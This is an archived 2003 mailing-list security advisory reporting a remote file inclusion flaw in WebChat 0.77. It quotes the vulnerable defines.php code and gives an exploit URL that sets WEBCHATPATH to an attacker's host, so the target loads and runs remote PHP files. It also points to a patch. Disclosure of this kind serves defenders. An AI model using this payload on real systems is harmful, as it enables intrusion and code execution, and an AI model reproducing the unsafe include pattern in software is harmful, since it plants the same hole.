OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 

From: Frog Man (leseulfroghotmail.com)
Date: Mon Mar 03 2003 - 06:57:43 CST

Informations :
°°°°°°°°°°°°°°
Version : 0.77
Website : http://www.webdev.ro
Problem : File Including

PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
defines.php :
-----------------------------------------------
<?
if (!isset($WEBCHATPATH)) {
         $WEBCHATPATH = './';
}
include ($WEBCHATPATH.'db_mysql.php');
include ($WEBCHATPATH.'language/english.php');
[...]
-----------------------------------------------

Exploits :
°°°°°°°°°°
http://[target]/defines.php?WEBCHATPATH=http://[attacker]/
with :
http://[attacker]/db_mysql.php and
http://[attacker]/language/english.php

Patch :
°°°°°°°
A patch can be found on http://www.phpsecure.info (-> New Version !! :))

More Details :
°°°°°°°°°°°°°°
In French :
http://www.frog-man.org/tutos/WebChat.txt

frog-mn

_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis !
http://messenger.fr.msn.be